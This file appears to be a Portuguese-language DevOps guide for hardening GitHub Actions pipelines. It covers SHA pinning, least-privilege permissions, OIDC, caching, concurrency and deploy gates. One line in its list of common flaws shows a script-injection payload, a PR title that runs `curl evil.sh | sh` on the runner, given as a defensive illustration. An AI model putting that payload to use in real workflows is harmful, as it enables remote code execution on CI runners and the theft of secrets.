---
id: cicd-pipeline-best-practices
domain: devops
agents: [devops]
when: "ao montar ou revisar um pipeline de CI/CD"
---

# CI/CD Pipeline — seguro e rápido por padrão

## O problema

A maioria dos pipelines de GitHub Actions é escrita pra "ficar verde" e nunca mais é tocada. O
resultado é um workflow que funciona, mas que é **lento e uma porta de entrada para supply-chain
attack**. Os tells de um pipeline medíocre:

1. **Actions pinadas por tag** (`uses: actions/checkout@v4`). Tag é mutável — quem ganha write no
   repo da action move o `v4` pra um commit malicioso. Foi exatamente assim que o
   `tj-actions/changed-files` foi comprometido: um commit malicioso vazou os secrets de todos os
   workflows que referenciavam por tag.
2. **Sem bloco `permissions`** — o workflow herda o default do repo, que costuma ser read/write em
   tudo. Se uma dependência for comprometida, o `GITHUB_TOKEN` dá pra fazer push, criar release e
   mexer em settings. Blast radius máximo.
3. **Secrets de longa duração** (`AWS_ACCESS_KEY_ID` em `secrets`) quando OIDC resolveria sem
   guardar credencial nenhuma.
4. **Tudo num job só** — build, lint e test em sequência num único job, sem paralelismo, sem cache
   de dependências. CI de 12 minutos que poderia ser de 3.
5. **Sem `concurrency`** — você empurra 3 commits e os 3 runs antigos continuam rodando até o fim,
   queimando minutos de runner enquanto só o último importa.
6. **`${{ github.event.* }}` direto dentro de `run:`** — injeção de script. Um título de PR
   `"; curl evil.sh | sh; "` executa no runner.
7. **Deploy sem gate** — `on: push` na main dispara deploy em produção sem reviewer, sem
   environment, sem branch policy.

A régua deste pack: **toda decisão de pipeline precisa ter justificativa de segurança OU de
velocidade.** Default não-justificado é dívida.

## O conhecimento

### 1. PIN de actions por SHA completo, nunca por tag

Pinar no SHA de 40 caracteres é a **única** forma de usar uma action como release imutável. Amarre o
SHA a uma versão real (não a um commit arbitrário do default branch) e deixe a versão em comentário.

```yaml
# ruim — tag é mutável, pode ser movida pra um commit malicioso
- uses: actions/checkout@v4
- uses: actions/setup-node@v4

# bom — SHA completo + comentário com a versão pra Dependabot/humano rastrear
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
```

> Dependabot **não** alerta sobre actions pinadas por SHA usando o ecossistema padrão — configure
> `package-ecosystem: "github-actions"` em `.github/dependabot.yml` pra ele propor o bump do SHA por
> você, mantendo o pin sem virar trabalho manual.

### 2. `permissions` least-privilege — read no topo, eleva por job

Workflow sem `permissions` herda o default do repo (geralmente read/write em tudo). Declare
`contents: read` no topo e **eleve só no job que precisa**.

```yaml
# ruim — sem bloco permissions: herda read/write em tudo
name: CI
on: [push]
jobs:
  build: ...

# bom — default mínimo no topo, elevação cirúrgica por job
name: CI
on: [push]

permissions:
  contents: read          # default pra todos os jobs

jobs:
  release:
    permissions:
      contents: write       # só este job pode escrever (criar tag/release)
      pull-requests: write
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
```

Escopos válidos do `GITHUB_TOKEN`: `contents`, `pull-requests`, `issues`, `deployments`, `checks`,
`statuses`, `packages`, `id-token`, `actions`, `security-events`. Para forçar que **cada** job
declare explicitamente o que precisa, use `permissions: {}` no topo (zera tudo).

### 3. OIDC no lugar de secrets de longa duração

Para autenticar em cloud (AWS/GCP/Azure), use OpenID Connect: o GitHub emite um JWT efêmero por run
e a cloud troca por credencial temporária. Você para de guardar `AWS_ACCESS_KEY_ID` como secret.

```yaml
# ruim — chave de longa duração no secrets store, vaza e vale pra sempre
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

# bom — OIDC: id-token: write + role-to-assume, zero credencial guardada
permissions:
  id-token: write          # obrigatório pro GitHub emitir o JWT
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
          aws-region: us-east-1
```

> O `id-token: write` precisa estar no job que faz a troca. Sem ele o GitHub não emite o JWT e o
> `configure-aws-credentials` falha.

### 4. Jobs separados (build / lint / test) com paralelismo

Um job monolítico serializa tudo. Separe em jobs paralelos e use `needs:` só onde há dependência
real. Lint e test não dependem um do outro — rodam em paralelo.

```yaml
# ruim — tudo num job, serializado, ~12 min
jobs:
  ci:
    runs-on: ubuntu-latest
    steps:
      - run: npm ci
      - run: npm run lint
      - run: npm test
      - run: npm run build

# bom — lint e test em paralelo; build espera o que importa
jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
      - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
        with: { node-version: 20, cache: npm }
      - run: npm ci
      - run: npm run lint

  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
      - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
        with: { node-version: 20, cache: npm }
      - run: npm ci
      - run: npm test

  build:
    needs: [lint, test]      # só builda se lint e test passarem
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
      - run: npm ci && npm run build
```

### 5. Cache de dependências — built-in do setup-node

Não monte cache de `node_modules` na mão. O `setup-node` cacheia via `actions/cache` por baixo, com
chave derivada do lockfile. Para casos fora dele (ex.: `.next/cache`), use `actions/cache` explícito.

```yaml
# bom — cache automático de npm/yarn/pnpm pelo próprio setup-node
- uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
  with:
    node-version: 20
    cache: npm              # invalida sozinho quando o package-lock.json muda

# bom — cache explícito pra build artifacts (chave no lockfile)
- uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94ea4f9 # v4.0.2
  with:
    path: .next/cache
    key: ${{ runner.os }}-nextjs-${{ hashFiles('package-lock.json') }}
```

### 6. Matrix para cobrir versões sem multiplicar workflow

Use `strategy.matrix` pra rodar a mesma suíte em várias versões/OS. Em CI de PR, `fail-fast: true`
(default) economiza runner abortando ao primeiro fail; em release, `fail-fast: false` para ver
**todas** as falhas de uma vez.

```yaml
# bom — uma definição, N combinações
strategy:
  fail-fast: false                       # vê todas as falhas, não para na primeira
  matrix:
    node-version: [18, 20, 22]
    os: [ubuntu-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
  - uses: actions/setup-node@1e60f620b9541d16bece96c5465dc8ee9832be0b # v4.0.3
    with:
      node-version: ${{ matrix.node-version }}
      cache: npm
```

### 7. `concurrency` — cancela runs obsoletos

Sem isso, cada push novo deixa os runs antigos rodando até o fim. Agrupe por workflow + ref e
cancele o que está em andamento. Para PR, use `head_ref` com fallback no `run_id` (evita cancelar
runs de push da main entre si).

```yaml
# bom — novo push no mesmo branch cancela o run anterior daquele branch
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true

# bom — variante PR-safe: agrupa por head_ref, cai pro run_id fora de PR
concurrency:
  group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}
  cancel-in-progress: true
```

> **Não** ative `cancel-in-progress: true` em jobs de **deploy/produção** — cancelar um deploy no
> meio pode deixar o ambiente num estado parcial. Use grupo de concorrência sem cancelamento
> (`cancel-in-progress: false`) pra serializar deploys.

### 8. Não interpole `github.event.*` dentro de `run:` (injeção de script)

Contexto controlado pelo atacante (título de PR, nome de branch, corpo de issue) interpolado direto
no shell vira execução de código. Passe por `env:` — aí o valor vira variável e não toca a geração
do script.

```yaml
# ruim — título de PR malicioso executa no runner
- run: echo "PR: ${{ github.event.pull_request.title }}"

# bom — valor vai pra env var, tratado como dado, não como código
- name: Check PR title
  env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR: $TITLE"
```

> Evite `pull_request_target` e `workflow_run` com checkout de código não confiável — eles rodam com
> o token do repo base. Se precisar testar PR de fork, use `on: pull_request` (token sem permissão
> de write e sem secrets por padrão).

### 9. Gates obrigatórios antes do merge e do deploy

Velocidade não pode atropelar controle. Duas camadas:

- **Branch protection (merge gate):** marque os jobs `lint`, `test`, `build` como **required status
  checks** na proteção do branch. PR não mergeia se algum falhar. Exija PR review e, opcionalmente,
  CODEOWNERS em `.github/workflows/` pra que mudança no próprio pipeline passe por reviewer.
- **Environments (deploy gate):** o job de deploy referencia um `environment:` com **required
  reviewers** (até 6 pessoas/times; basta 1 aprovar) e **deployment branch policy** (só `main`
  deploya em prod). Habilite *prevent self-review*.

```yaml
# bom — deploy travado atrás de environment com reviewer + secret só desse ambiente
jobs:
  deploy-prod:
    needs: [build]
    runs-on: ubuntu-latest
    environment:
      name: production        # required reviewers + branch policy configurados na UI/API
      url: https://app.exemplo.com
    permissions:
      id-token: write
      contents: read
    steps:
      - uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7
      - run: ./deploy.sh
```

```text
# bom — .github/CODEOWNERS: mudança no pipeline exige aprovação do time
.github/workflows/  @org/devops
```

## Checklist

Antes de aprovar um pipeline — qualquer "não" é dívida a corrigir:

- [ ] Toda action está pinada por **SHA de 40 chars** com comentário de versão (nenhuma `@v4`/`@main`)?
- [ ] Existe bloco `permissions:` com `contents: read` no topo, elevando só nos jobs que precisam?
- [ ] Autenticação em cloud usa **OIDC** (`id-token: write` + `role-to-assume`), sem chave de longa duração em `secrets`?
- [ ] Build, lint e test estão em **jobs separados**, com `needs:` só onde há dependência real?
- [ ] Dependências têm **cache** (`cache: npm` no setup-node ou `actions/cache` com chave no lockfile)?
- [ ] Há `concurrency` com `cancel-in-progress: true` em CI (e **sem** cancelamento em deploy)?
- [ ] Nenhum `${{ github.event.* }}` interpolado direto em `run:` — tudo passa por `env:`?
- [ ] Os checks de CI são **required status checks** na branch protection?
- [ ] Deploy em prod está atrás de `environment:` com **required reviewers** e branch policy?
- [ ] `.github/dependabot.yml` tem `package-ecosystem: "github-actions"` pra bump dos SHAs?

## Tabela de decisão

| Situação | Faça isto | Por quê |
|---|---|---|
| Referenciar uma action de terceiro | Pin no SHA de 40 chars + comentário `# vX.Y.Z` | Tag é mutável; SHA é imutável (caso `tj-actions/changed-files`) |
| Action é oficial (`actions/*`) | Mesmo assim, pin no SHA | Conta/org da action pode ser comprometida; pin protege igual |
| Workflow só lê código e roda testes | `permissions: { contents: read }` no topo | Default do repo costuma ser read/write — blast radius máximo |
| Job precisa criar tag/release/comentar PR | Elevar `contents: write` / `pull-requests: write` **só nesse job** | Least-privilege: o resto do workflow continua read-only |
| Deploy em AWS/GCP/Azure | OIDC (`id-token: write` + role) | Elimina credencial de longa duração que vaza e vale pra sempre |
| Lint e test independentes | Jobs paralelos, sem `needs` entre eles | Paraleliza; corta tempo de parede do CI |
| Build depende de lint+test verdes | `needs: [lint, test]` | Não desperdiça runner buildando código que já falhou |
| Cobrir várias versões de Node/OS | `strategy.matrix` | Uma definição, N combinações; sem duplicar workflow |
| CI de PR com matrix | `fail-fast: true` (default) | Aborta cedo, economiza runner |
| Suíte de release/diagnóstico | `fail-fast: false` | Quer ver **todas** as falhas de uma vez |
| Pushes frequentes no mesmo branch | `concurrency` + `cancel-in-progress: true` | Cancela runs obsoletos; só o último importa |
| Job de deploy / migração de prod | `concurrency` com `cancel-in-progress: false` | Cancelar no meio deixa ambiente em estado parcial |
| Usar título de PR / branch name no script | Passar por `env:`, nunca `${{ }}` em `run:` | Previne injeção de script via input controlado pelo atacante |
| Testar PR de fork | `on: pull_request` (não `pull_request_target`) | Token sem write e sem secrets; não checa out código não confiável com token privilegiado |
| Bloquear merge sem CI verde | Marcar jobs como required status checks | Gate determinístico no branch protection |
| Bloquear deploy sem aprovação humana | `environment:` com required reviewers + branch policy | Gate de produção; *prevent self-review* fecha o loop |
